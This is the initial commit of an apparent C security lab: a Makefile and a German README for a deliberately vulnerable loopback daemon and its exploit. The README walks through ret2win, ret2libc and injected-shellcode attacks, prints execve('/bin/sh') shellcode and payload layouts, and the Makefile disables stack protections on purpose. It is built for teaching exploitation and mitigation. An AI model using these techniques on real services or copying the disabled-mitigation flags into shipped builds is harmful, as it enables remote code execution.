Initial commit
This commit is contained in:
commit
394e3be54d
41 changed files with 16315 additions and 0 deletions
17
.gitignore
vendored
Normal file
17
.gitignore
vendored
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
# Build products
|
||||||
|
food
|
||||||
|
fooc
|
||||||
|
food_hardened
|
||||||
|
shellcode.bin
|
||||||
|
.sc_c_raw.txt
|
||||||
|
.sc_c.txt
|
||||||
|
.sc_asm.txt
|
||||||
|
|
||||||
|
# Test harness binaries
|
||||||
|
tests/pty_test
|
||||||
|
tests/sock_test
|
||||||
|
|
||||||
|
# Runtime evidence -- your own logs, yours to keep or delete
|
||||||
|
food.log
|
||||||
|
food_hardened.log
|
||||||
|
*.log
|
||||||
305
Makefile
Normal file
305
Makefile
Normal file
|
|
@ -0,0 +1,305 @@
|
||||||
|
# ============================================================================
|
||||||
|
# Makefile -- builds the lab: the vulnerable daemon and its exploit
|
||||||
|
# ============================================================================
|
||||||
|
#
|
||||||
|
# make build food, fooc and the test harnesses
|
||||||
|
# make run start food in the background, on loopback
|
||||||
|
# make test run the full technique matrix (needs `make run` first)
|
||||||
|
# make verify prove the shellcode in fooc.c matches shellcode.S
|
||||||
|
# make hardened rebuild food with every mitigation ENABLED
|
||||||
|
# make test-hardened run the matrix against the hardened build
|
||||||
|
# make stop stop the daemon
|
||||||
|
# make clean remove build products
|
||||||
|
#
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# WHY THESE FLAGS -- the single most important thing in this file
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# `food` is built with three protections switched OFF, deliberately:
|
||||||
|
#
|
||||||
|
# -fno-stack-protector no stack canary
|
||||||
|
# -no-pie fixed load address, so win() is a constant
|
||||||
|
# -z execstack executable stack, so shellcode can run
|
||||||
|
#
|
||||||
|
# Each one corresponds to a real defence that a real program gets for free, and
|
||||||
|
# `make test-hardened` turns them all back on so you can watch the techniques
|
||||||
|
# fail. That contrast is the entire lesson. Do not copy these flags into
|
||||||
|
# anything you actually ship.
|
||||||
|
#
|
||||||
|
# The exploit (`fooc`) is built with the protections ON. There is no reason for
|
||||||
|
# an attacker to disable them, and leaving them on is a useful reminder that
|
||||||
|
# the tool works fine in a hardened process.
|
||||||
|
#
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# WHY -O0 -g
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# -O0 the compiler does not reorder, inline, or elide the code. At -O2 the
|
||||||
|
# stack layout the exploit reasons about can change between builds, and
|
||||||
|
# variables you were told exist may be gone. For a lab you have to be
|
||||||
|
# able to read the disassembly and find the thing the comment promised.
|
||||||
|
# -g symbols and line numbers, so gdb is actually usable. `make debug`
|
||||||
|
# goes further and stops at the vulnerable read().
|
||||||
|
# ============================================================================
|
||||||
|
|
||||||
|
CC ?= gcc
|
||||||
|
CSTD := -std=c99
|
||||||
|
|
||||||
|
# Warnings we always want, even on the vulnerable build. Note that we do NOT
|
||||||
|
# use -Werror: food.c's deliberate overflow triggers -Wstringop-overflow, and
|
||||||
|
# that warning is *supposed* to fire (see the comment at the read() call).
|
||||||
|
WARN := -Wall -Wextra
|
||||||
|
|
||||||
|
# Debug info and no optimisation: see above.
|
||||||
|
DBG := -O0 -g
|
||||||
|
|
||||||
|
# --- the vulnerable build -----------------------------------------------------
|
||||||
|
# These are the flags we are trying to defeat. See the header comment.
|
||||||
|
VULN := -fno-stack-protector -no-pie -z execstack
|
||||||
|
|
||||||
|
# --- the hardened build -------------------------------------------------------
|
||||||
|
# What a modern project actually does. Note that -fstack-protector-strong is
|
||||||
|
# gcc's DEFAULT on many distros, and -fPIE is too, so the hardened build is
|
||||||
|
# really just "stop overriding the defaults". `make test-hardened` shows the
|
||||||
|
# exploits failing, which is the point.
|
||||||
|
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
|
||||||
|
|
||||||
|
# Shellcode needs a terminal, and the test harness is the only thing that
|
||||||
|
# provides one. It is a normal POSIX program, not part of the exploit.
|
||||||
|
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
|
||||||
|
|
||||||
|
all: food fooc tests/pty_test tests/sock_test
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The vulnerable daemon.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
food: food.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The exploit. -ldl is needed for dlsym(), which is how it locates libc's
|
||||||
|
# system() and "/bin/sh" at runtime instead of hardcoding offsets that would
|
||||||
|
# break the next time glibc is updated.
|
||||||
|
#
|
||||||
|
# It gets the mitigations ON, unlike the target.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
fooc: fooc.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# Test harnesses. These exist because the exploit's last act is to hand its
|
||||||
|
# process over to a shell; verifying that needs a real terminal, which a pipe
|
||||||
|
# or a here-doc is not.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
tests/pty_test: tests/pty_test.c
|
||||||
|
$(CC) $(TESTCFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
tests/sock_test: tests/sock_test.c
|
||||||
|
$(CC) $(TESTCFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The hardened daemon: same source, protections on. Build it, then run
|
||||||
|
# `make test-hardened` to see which techniques it survives.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
hardened: food.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o food_hardened $<
|
||||||
|
@echo
|
||||||
|
@echo "=== food_hardened built with the mitigations ON."
|
||||||
|
@echo "=== Stack segment permissions ('RWE' would mean executable; you"
|
||||||
|
@echo "=== want 'RW', i.e. no-execute):"
|
||||||
|
@readelf -W -l food_hardened | grep GNU_STACK
|
||||||
|
@echo "=== Now run: make test-hardened"
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# verify-shellcode: prove the bytes in fooc.c are what nasm produces from
|
||||||
|
# shellcode.S. This is the check that keeps the inline byte array honest --
|
||||||
|
# a hand-maintained hex dump and a disassembler are both easy to get wrong, and
|
||||||
|
# a single wrong byte means a payload that crashes instead of running.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
verify verify-shellcode: shellcode.S fooc.c
|
||||||
|
@command -v nasm >/dev/null 2>&1 || { \
|
||||||
|
echo "verify-shellcode: nasm is not installed; skipping."; \
|
||||||
|
echo " (Arch: pacman -S nasm)"; exit 0; }
|
||||||
|
@echo "=== Assembling shellcode.S ..."
|
||||||
|
@nasm -f bin -o shellcode.bin shellcode.S
|
||||||
|
@echo "=== nasm output:"
|
||||||
|
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||||
|
-e 's/[[:space:]]*$$//'
|
||||||
|
@echo
|
||||||
|
@# Pull the byte list out of the C array. `sed s,/*.**/,` first strips the
|
||||||
|
@# trailing /* ... */ annotations, so a hex constant mentioned inside a
|
||||||
|
@# comment (there is one: "push 0x3b (execve)") is not counted as data.
|
||||||
|
@# Stripping comments before grepping is the whole trick here.
|
||||||
|
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' fooc.c \
|
||||||
|
| sed -e 's,/\*.*\*,,' \
|
||||||
|
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
|
||||||
|
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
|
||||||
|
> .sc_c_raw.txt
|
||||||
|
@echo "=== bytes declared in fooc.c's SHELLCODE[] array:"
|
||||||
|
@cat .sc_c_raw.txt
|
||||||
|
@echo
|
||||||
|
@echo "=== comparing ..."
|
||||||
|
@# Both sides reduced to the same plain "31 f6 31 d2 ..." form, so the
|
||||||
|
@# comparison is on VALUES and not on how each tool happens to print them.
|
||||||
|
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
|
||||||
|
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||||
|
-e 's/[[:space:]]*$$//' > .sc_asm.txt
|
||||||
|
@if cmp -s .sc_c.txt .sc_asm.txt; then \
|
||||||
|
n=$$(wc -c < shellcode.bin); \
|
||||||
|
echo "MATCH: the $$n bytes in fooc.c are byte-for-byte what"; \
|
||||||
|
echo " shellcode.S assembles to."; \
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
|
||||||
|
else \
|
||||||
|
echo "MISMATCH -- the two differ:"; \
|
||||||
|
diff .sc_c.txt .sc_asm.txt || true; \
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# run: start the daemon in the background.
|
||||||
|
#
|
||||||
|
# setsid + nohup + </dev/null are all needed. Without setsid the daemon dies
|
||||||
|
# when the invoking shell exits; without </dev/null it inherits your terminal
|
||||||
|
# and competes with you for it; without nohup it gets SIGHUP.
|
||||||
|
#
|
||||||
|
# It listens on 127.0.0.1 only. Please keep it that way.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
PORT ?= 2342
|
||||||
|
run: food
|
||||||
|
@echo "=== starting food on 127.0.0.1:$(PORT)"
|
||||||
|
@setsid nohup ./food -p $(PORT) > food.log 2>&1 </dev/null & \
|
||||||
|
disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if pgrep -x food >/dev/null; then \
|
||||||
|
echo "=== food is running (pid $$(pgrep -x food | head -1))"; \
|
||||||
|
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
|
||||||
|
grep '\[stack\]' /proc/$$(pgrep -x food | head -1)/maps; \
|
||||||
|
else \
|
||||||
|
echo "=== food failed to start; see food.log"; exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# test: the technique matrix. Every technique must print both SEEN.
|
||||||
|
#
|
||||||
|
# Note this runs against whatever ./food currently is. If you last ran
|
||||||
|
# `make hardened`, you are testing the hardened build -- which is what
|
||||||
|
# test-hardened is for.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Note on the redirection below. The verdict is the "[pty_test] ..." line the
|
||||||
|
# harness prints to STDERR, and its EXIT STATUS, so stderr is sent to the
|
||||||
|
# terminal and the shell's chatter (stdout) is discarded. Piping the two
|
||||||
|
# together and tailing is what hid a real failure during development: the pty's
|
||||||
|
# echo of our own command line contains the marker string, so a loose grep on
|
||||||
|
# the transcript was always going to pass.
|
||||||
|
test: tests/pty_test
|
||||||
|
@fail=0; \
|
||||||
|
for t in ret2win ret2libc shellcode; do \
|
||||||
|
echo "=================== $$t"; \
|
||||||
|
if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \
|
||||||
|
:; \
|
||||||
|
else \
|
||||||
|
fail=1; \
|
||||||
|
fi; \
|
||||||
|
done; \
|
||||||
|
echo; \
|
||||||
|
if [ $$fail -eq 0 ]; then \
|
||||||
|
echo "=== all three techniques gave a working shell"; \
|
||||||
|
else \
|
||||||
|
echo "=== at least one technique did NOT work."; \
|
||||||
|
echo "=== If food was built with `make hardened`, that is the"; \
|
||||||
|
echo "=== mitigations doing their job. See README.md."; \
|
||||||
|
fi; \
|
||||||
|
exit $$fail
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# test-hardened: swap in the hardened daemon, prove the mitigations hold, then
|
||||||
|
# put the vulnerable one back. Leaves your tree exactly as it found it.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Two things this target has to get right, both of which bit during development:
|
||||||
|
#
|
||||||
|
# * `pgrep -x` matches the process NAME, and the hardened binary is
|
||||||
|
# food_hardened, not food. Using the wrong name silently inspects nothing.
|
||||||
|
# * The verdict is pty_test's EXIT STATUS (0 = both markers seen), not the
|
||||||
|
# presence of its output line. Grepping for a line that is also printed on
|
||||||
|
# failure reports success for a run that crashed.
|
||||||
|
test-hardened: hardened tests/pty_test
|
||||||
|
@if ! pgrep -x food >/dev/null; then \
|
||||||
|
echo "=== start the daemon first: make run"; exit 1; \
|
||||||
|
fi
|
||||||
|
@echo "### stopping the vulnerable daemon"
|
||||||
|
@$(MAKE) --no-print-directory stop
|
||||||
|
@echo "### starting food_hardened instead"
|
||||||
|
@setsid nohup ./food_hardened -p $(PORT) > food_hardened.log 2>&1 \
|
||||||
|
</dev/null & disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if ! pgrep -x food_hardened >/dev/null; then \
|
||||||
|
echo "!!! food_hardened did not start; see food_hardened.log"; \
|
||||||
|
$(MAKE) --no-print-directory stop; exit 1; \
|
||||||
|
fi
|
||||||
|
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
|
||||||
|
@grep '\[stack\]' /proc/$$(pgrep -x food_hardened | head -1)/maps || true
|
||||||
|
@echo
|
||||||
|
@for t in ret2win ret2libc shellcode; do \
|
||||||
|
echo "=================== $$t"; \
|
||||||
|
if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \
|
||||||
|
echo "!!! $$t STILL WORKED against the hardened build"; \
|
||||||
|
else \
|
||||||
|
echo "--- $$t was stopped by the mitigations (as expected)"; \
|
||||||
|
fi; \
|
||||||
|
done; \
|
||||||
|
echo
|
||||||
|
@$(MAKE) --no-print-directory stop
|
||||||
|
@echo "### restoring the vulnerable daemon"
|
||||||
|
@setsid nohup ./food -p $(PORT) > food.log 2>&1 </dev/null \
|
||||||
|
& disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@echo
|
||||||
|
@echo "=== mitigation comparison is above."
|
||||||
|
@echo "=== Read the table in README.md to see which flag stopped what,"
|
||||||
|
@echo "=== and note which mitigations are NOT enough on their own."
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# debug: build food and run it under gdb, stopping at the vulnerable read() so
|
||||||
|
# you can watch the stack frame get overwritten.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
debug: food.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o food $<
|
||||||
|
@echo "=== built ./food for gdb. Try:"
|
||||||
|
@echo " gdb -q ./food"
|
||||||
|
@echo " (gdb) break food.c:393 # the read() that overflows"
|
||||||
|
@echo " (gdb) run -p 2342"
|
||||||
|
@echo " (gdb) info registers rsp rbp"
|
||||||
|
@echo " (gdb) x/24gx \$rsp # watch the return address"
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# stop: kill the daemon.
|
||||||
|
#
|
||||||
|
# `pkill -x food` matches the process NAME exactly. Do NOT use
|
||||||
|
# `pkill -f ./food` -- that pattern also matches the shell you typed it into,
|
||||||
|
# so it kills your own session. This is not a theoretical risk; it happened
|
||||||
|
# while building this lab.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
stop:
|
||||||
|
@if pgrep -x food >/dev/null; then \
|
||||||
|
pkill -x food; sleep 0.5; \
|
||||||
|
echo "=== food stopped"; \
|
||||||
|
else \
|
||||||
|
echo "=== food was not running"; \
|
||||||
|
fi
|
||||||
|
@# The hardened binary has a different process name, so it needs its own
|
||||||
|
@# pkill. A leftover food_hardened keeps port 2342 bound and makes the
|
||||||
|
@# next `make run` fail with "Address already in use".
|
||||||
|
@if pgrep -x food_hardened >/dev/null; then \
|
||||||
|
pkill -x food_hardened; sleep 0.5; \
|
||||||
|
echo "=== food_hardened stopped"; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f food fooc food.hardened shellcode.bin
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
|
||||||
|
rm -f tests/pty_test tests/sock_test
|
||||||
|
@echo "=== cleaned. (food.log is left alone; it is your evidence.)"
|
||||||
|
|
||||||
|
.PHONY: all run stop test test-hardened verify verify-shellcode hardened debug clean
|
||||||
436
README.DE.md
Normal file
436
README.DE.md
Normal file
|
|
@ -0,0 +1,436 @@
|
||||||
|
# food / fooc — ein Stack-Pufferüberlauf, von beiden Seiten
|
||||||
|
|
||||||
|
Ein C99-Sicherheitslabor in zwei Hälften:
|
||||||
|
|
||||||
|
- **`food.c`** — ein absichtlich angreifbarer TCP-Daemon. Er enthält einen
|
||||||
|
echten, lehrbuchreifen Stack-Pufferüberlauf (CWE-120) und nebenbei noch ein
|
||||||
|
paar weitere Bugs.
|
||||||
|
- **`fooc.c`** — ein Exploit dafür. Er berechnet das Overflow-Offset, indem er
|
||||||
|
das Zielprogramm zur Laufzeit disassembliert, liest Adress-Leaks vom Daemon
|
||||||
|
und erhält eine Shell auf dem „Opfer", indem er eine gespeicherte
|
||||||
|
Rücksprungadresse überschreibt.
|
||||||
|
|
||||||
|
Es geht nicht um die Shell. Es geht darum, dass man Ende-zu-Ende mitverfolgen
|
||||||
|
kann, wie aus einem Speichersicherheitsfehler eine beliebige Codeausführung
|
||||||
|
wird — und dann genau sieht, welche Gegenmaßnahmen welchen Schritt dieser
|
||||||
|
Kette stoppen. Jede Zeile beider Programme ist kommentiert, denn der Mechanismus
|
||||||
|
ist die Lektion.
|
||||||
|
|
||||||
|
```
|
||||||
|
dein Terminal
|
||||||
|
|
|
||||||
|
./fooc (Exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
|
||||||
|
|
|
||||||
|
./food (angreifbarer Daemon)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> Overflow -> ret -> dein Code
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Bitte zuerst lesen
|
||||||
|
|
||||||
|
**`food` ist ein absichtlich kaputter Netzwerkdienst. Er bindet ausschließlich
|
||||||
|
an `127.0.0.1`, und dieser Standard ist Absicht — bitte lass ihn so.**
|
||||||
|
|
||||||
|
- Führe ihn **nicht** auf einer Maschine aus, die dir wichtig ist, oder auf
|
||||||
|
irgendetwas mit Daten darauf.
|
||||||
|
- Binde ihn **nicht** an `0.0.0.0` oder eine echte Netzwerkschnittstelle. Er
|
||||||
|
ist bewusst remote ausnutzbar.
|
||||||
|
- Ein `fooc` gegen einen Host zu richten, der dir nicht gehört bzw. für den du
|
||||||
|
keine schriftliche Testgenehmigung hast, ist in den meisten Rechtsordnungen
|
||||||
|
ein Computersabotage-Straftatbestand — auch nach dem UK Computer Misuse Act
|
||||||
|
und dem US Computer Fraud and Abuse Act.
|
||||||
|
- Er bindet einen unprivilegierten Port (>1024), du brauchst also kein root.
|
||||||
|
„Verbessere" ihn nicht, indem du Capabilities hinzufügst oder ihn als
|
||||||
|
Systemdienst laufen lässt.
|
||||||
|
- Jede Verbindung wird in einem per `fork()` erzeugten Kindprozess behandelt,
|
||||||
|
und `food` reaped ihn, sodass sich keine Abstürze ansammeln. Falls du danach
|
||||||
|
dutzende streunende `sh`-Prozesse vorfindest, ist `pkill -x sh` die
|
||||||
|
Aufräumlösung.
|
||||||
|
|
||||||
|
Im Zweifel: Dieses Labor ist für eine virtuelle Maschine oder einen Container
|
||||||
|
gedacht, in einem Netzwerk, das du kontrollierst, auf einer Maschine, auf der
|
||||||
|
dir nichts fehlen würde.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Schnellstart
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # baut food, fooc und die Test-Harnesses
|
||||||
|
make run # startet food auf 127.0.0.1:2342, abgelöst im Hintergrund
|
||||||
|
make test # führt alle drei Exploit-Techniken aus
|
||||||
|
make stop # stoppt den Daemon
|
||||||
|
```
|
||||||
|
|
||||||
|
Danach von Hand:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # sieh dir die Adress-Leaks an, die food ausgibt
|
||||||
|
./fooc -t demo -v # sende Datenmüll; beobachte, wie food mit SIGSEGV stirbt
|
||||||
|
./fooc -t ret2win -i # springe zu einer Funktion, die bereits existiert -> Shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Voraussetzungen
|
||||||
|
|
||||||
|
| Werkzeug | Wofür | Hinweise |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (oder clang) | Bauen | C99. Getestet mit gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` ruft es zur Laufzeit auf |
|
||||||
|
| `nasm` | `make verify` | nur zum Gegenprüfen des Shellcodes; wird übersprungen, wenn nicht vorhanden |
|
||||||
|
| `gdb` | `make debug` | optional |
|
||||||
|
| Linux, x86-64 | beides | Payload und Gadget-Suche sind architekturspezifisch |
|
||||||
|
|
||||||
|
`fooc` benötigt außerdem `-ldl` für `dlsym()`; das erledigt das Makefile.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Der Bug
|
||||||
|
|
||||||
|
Eine Zeile in `food.c` ist die gesamte Angriffsfläche:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 Bytes */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* bis zu 512 Bytes aus dem Netzwerk */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 Bytes Ziel, 512 Bytes akzeptiert. Der Angreifer überschreibt 448 Bytes über
|
||||||
|
das Ende des Puffers hinaus, und weil der Stack nach unten wächst, bedeutet
|
||||||
|
„über das Ende hinaus" „in den darüberliegenden Frame hinein" — und genau dort
|
||||||
|
liegen der gespeicherte Frame-Pointer und die **gespeicherte
|
||||||
|
Rücksprungadresse**.
|
||||||
|
|
||||||
|
In einer kompilierten x86-64-Funktion bei `-O0`:
|
||||||
|
|
||||||
|
```
|
||||||
|
hohe Adressen
|
||||||
|
+------------------------+ rbp + 16 : Locals des Aufrufers
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : GESPEICHERTE RÜCKSPRUNGSADRESSE <-- wird zu RIP
|
||||||
|
| saved rbp (8 Bytes) |
|
||||||
|
+------------------------+ rbp : unser Frame-Pointer
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp: das, was read() füllt
|
||||||
|
+------------------------+
|
||||||
|
niedrige Adressen
|
||||||
|
```
|
||||||
|
|
||||||
|
Wenn die Funktion zurückkehrt, poppt `leave; ret` diese 8 Bytes in `RIP`, und
|
||||||
|
die CPU springt dorthin, wo der Angreifer es bestimmt hat. Alles andere in
|
||||||
|
diesem Labor ist Arithmetik darüber, wohin gedeutet werden soll.
|
||||||
|
|
||||||
|
Für diesen Build sind die Zahlen: `buf` ist 64 Bytes, das gespeicherte `rbp`
|
||||||
|
ist 8, die Rücksprungadresse liegt also bei Offset **88** vom Anfang von `buf`.
|
||||||
|
`fooc` härtet das nicht ein — es disassembliert `food` und findet das
|
||||||
|
`lea -0x50(%rbp)` vor dem `call read@plt`, sodass es weiter funktioniert, wenn
|
||||||
|
du `FOOD_BUFSZ` änderst.
|
||||||
|
|
||||||
|
> gcc weist bereits darauf hin. Das Bauen von `food` druckt:
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. Unterdrücke diese Warnung in echtem Code
|
||||||
|
> nie. Sie ist geschenkte Sicherheit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die drei Techniken
|
||||||
|
|
||||||
|
`fooc -t <technique>`. Sie stehen in der Reihenfolge, in der ein echter
|
||||||
|
Angreifer sie durcharbeiten würde, denn jede braucht, was die vorherige dich
|
||||||
|
gelehrt hat.
|
||||||
|
|
||||||
|
### 1. `ret2win` — den Befehlszeiger kontrollieren
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 Bytes Müll ][ Adresse von food's win() ]
|
||||||
|
^ saved rbp
|
||||||
|
^ wird zu RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` ist eine Funktion im Zielprogramm, die `/bin/sh` ausführt. Das
|
||||||
|
Überschreiben der Rücksprungadresse mit ihrer Adresse ist der gesamte Exploit.
|
||||||
|
|
||||||
|
**Was es lehrt:** Du hast beliebige Kontrolle über den Befehlszeiger. Es
|
||||||
|
braucht außerdem kein Leak, weil das Binärprogramm `-no-pie` gebaut ist, sodass
|
||||||
|
`win()` für immer an einer festen Adresse sitzt.
|
||||||
|
|
||||||
|
**Das reale Äquivalent** ist nicht „Angriffe sind einfach", sondern „verschiffe
|
||||||
|
keine undokumentierten Hintertüren in Netzwerk-Binärprogrammen". Wenn eine
|
||||||
|
Funktion wie `win()` in deinem Binärprogramm existiert, wird ein
|
||||||
|
Pufferüberlauf sie finden. Das ist wörtlich die Hintertür-Klasse von Juniper
|
||||||
|
ScreenOS (CVE).
|
||||||
|
|
||||||
|
**Verteidigung:** `-fPIE` (oder ASLR) randomisiert die Ladeadresse, sodass der
|
||||||
|
Angreifer die Adresse kennen muss — was meistens bedeutet, dass er zuerst ein
|
||||||
|
Leak braucht. Deshalb schlägt `ret2win` gegen `food_hardened` fehl.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — Beliebiges aufrufen, beim Namen
|
||||||
|
|
||||||
|
```
|
||||||
|
[ Müll ][ pop rdi; ret ][ Adresse von "/bin/sh" ][ Adresse von system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
setzt rdi der zu übergebende String die aufzurufende Funktion
|
||||||
|
```
|
||||||
|
|
||||||
|
Zur Ausführungszeit: `ret` poppt `pop rdi; ret` in `RIP`; das poppt den
|
||||||
|
`"/bin/sh"`-Pointer in `RDI`; dessen `ret` poppt `system()` in `RIP`, wobei
|
||||||
|
`RDI` weiterhin den String hält. `system("/bin/sh")` läuft.
|
||||||
|
|
||||||
|
Die Gadgets (`pop rdi; ret`) stecken nicht in `food` — diese glibc hat kein
|
||||||
|
`__libc_csu_init` — daher findet sie `fooc`, indem es den Live-libc-Speicher
|
||||||
|
nach dem Bytepaar `5f c3` durchsucht. Es lokalisiert libc über
|
||||||
|
`/proc/self/maps`, findet die Offsets von `system` und `"/bin/sh"` mit
|
||||||
|
`dlsym()` und berechnet die Basis aus dem Leak, das `food` veröffentlicht.
|
||||||
|
Nichts ist fest verdrahtet, sodass der Exploit ein libc-Update überlebt.
|
||||||
|
|
||||||
|
**Was es lehrt:** Wenn du einmal `RIP` kontrollierst, kannst du *vorhandene*
|
||||||
|
Befehle aneinanderreihen. Das ist Return-Oriented Programming, und es ist, wie
|
||||||
|
fast alle echten Exploits aussehen, weil es keinen vom Angreifer gelieferten
|
||||||
|
ausführbaren Speicher braucht.
|
||||||
|
|
||||||
|
**Verteidigung:** Keine der Compiler-Flags stoppt das allein. Es funktioniert
|
||||||
|
gegen ein PIE-Binärprogramm, mit NX, mit Canary — solange der Angreifer ein
|
||||||
|
Leak hat. Die Verteidigungen sind „habe den Overflow nicht" und „leake keine
|
||||||
|
Adressen". Siehe Tabelle unten.
|
||||||
|
|
||||||
|
### 3. `shellcode` — eigenen Maschinencode ausführen
|
||||||
|
|
||||||
|
23 Bytes, platziert am Anfang des Puffers, mit `RIP`, das auf sie zeigt:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 rohe Bytes
|
||||||
|
push rdi ; lege den String auf den Stack
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; wir sind jetzt eine Shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Das ist die reinste Form des Bugs: Der Angreifer liefert die *Befehle*, nicht
|
||||||
|
nur die Adresse von Befehlen, die bereits existieren. Keine libc-Offsets nötig,
|
||||||
|
also funktioniert es im Prinzip gegen ein statisch gelinktes, vollständig
|
||||||
|
randomisiertes Ziel.
|
||||||
|
|
||||||
|
`make verify` assembliert `shellcode.S` und vergleicht es mit dem Byte-Array,
|
||||||
|
das in `fooc.c` eingebettet ist, sodass die beiden nicht auseinanderlaufen
|
||||||
|
können.
|
||||||
|
|
||||||
|
**Verteidigung:** **NX** (auch W^X, „no execute"). Wenn der Stack als
|
||||||
|
nicht-ausführbar markiert ist, weigert sich die Hardware, Befehle von ihm zu
|
||||||
|
holen, und das `ret` landet auf einer Seite, die nicht ausführbar ist. Deshalb
|
||||||
|
übergibt `make food` die Flag `-z execstack`: Ein Standard-Linux-Stack ist
|
||||||
|
`rw-p`, nicht `rwx`, und die Technik stirbt mit SIGSEGV bei `RIP = die Adresse
|
||||||
|
des Payloads`. Die mit Abstand wichtigste Lektion des Labors ist, dass jedes
|
||||||
|
dieser Bytes nur funktioniert, weil dem Compiler gesagt wurde, den Stack
|
||||||
|
ausführbar zu lassen. Diese Flag ist für niemandes Wohl eingeschaltet.
|
||||||
|
|
||||||
|
### Außerdem enthalten
|
||||||
|
|
||||||
|
| Modus | Was es tut |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | verbindet, druckt die Leaks, sendet nichts |
|
||||||
|
| `-t demo` | sendet `rip_off + 8` Bytes `0x41`, sodass `RIP` zu `0x4141...` wird und der Daemon stirbt. Beweist den Bug ganz ohne Adresswissen |
|
||||||
|
